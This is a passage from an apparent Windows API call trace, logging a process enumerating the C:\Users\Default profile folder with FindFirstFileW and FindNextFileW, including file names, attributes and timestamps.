lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3816851, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97421a72, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97421a72, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0209.140] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3816851, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97421a72, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97421a72, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0209.140] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.140] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de1a0) returned 1 [0209.141] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de160) returned 1 [0209.141] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dea30) returned 1 [0209.141] GetFullPathNameW (in: lpFileName="C:\\Users\\Default", nBufferLength=0x105, lpBuffer=0x1e1de510, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default", lpFilePart=0x0) returned 0x10 [0209.141] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\*" (normalized: "c:\\users\\default\\*"), lpFindFileData=0x1e1de740 | out: lpFindFileData=0x1e1de740*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.141] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.523] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0209.524] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d54d8a8, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d54d8a8, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d54d8a8, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0209.524] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0209.524] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0209.524] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x5d527734, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d527734, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0209.525] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0209.525] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0209.525] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0209.525] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0209.525] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0209.526] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d527734, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d527734, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d527734, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0209.526] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0209.526] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x31bfa5a5, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0xea64ab63, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0xea64ab63, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0209.526] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x31cb9166, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x31cb9166, ftLastAccessTime.dwHighDateTime=0x1d112dc, ftLastWriteTime.dwLowDateTime=0x31cb9166, ftLastWriteTime.dwHighDateTime=0x1d112dc, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1 [0209.527] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x31cb9166, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x31cb9166, ftLastAccessTime.dwHighDateTime=0x1d112dc, ftLastWriteTime.dwLowDateTime=0x31cb9166, ftLastWriteTime.dwHighDateTime=0x1d112dc, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1 [0209.527] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8d5f4e96, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x8d5f4e96, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x8d61ae52, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{62e13464-7ee5-11e5-80c4-a4badb40df56}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1 [0209.527] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8d5f4e96, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x8d5f4e96, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x8d61ae52, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{62e13464-7ee5-11e5-80c4-a4badb40df56}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1 [0209.527] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8d61ae52, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x8d61ae52, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x8d61ae52, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{62e13464-7ee5-11e5-80c4-a4badb40df56}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1 [0209.527] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0209.528] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0209.528] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0209.528] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0209.528] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0209.529] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0209.529] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0209.530] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0209.530] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0 [0209.530] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.531] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de960) returned 1 [0209.531] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de920) returned 1 [0209.531] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dea30) returned 1 [0209.531] GetFullPathNameW (in: lpFileName="C:\\Users\\Default", nBufferLength=0x105, lpBuffer=0x1e1de510, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default", lpFilePart=0x0) returned 0x10 [0209.531] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\*" (normalized: "c:\\users\\default\\*"), lpFindFileData=0x1e1de740 | out: lpFindFileData=0x1e1de740*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.532] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.532] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0209.533] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d54d8a8, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d54d8a8, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d54d8a8, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0209.533] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0209.533] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0209.533] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x5d527734, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d527734, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0209.534] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0209.534] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0209.534] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0209.535] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0209.535] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0209.535] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d527734, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d527734, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d527734, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0209.535] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: 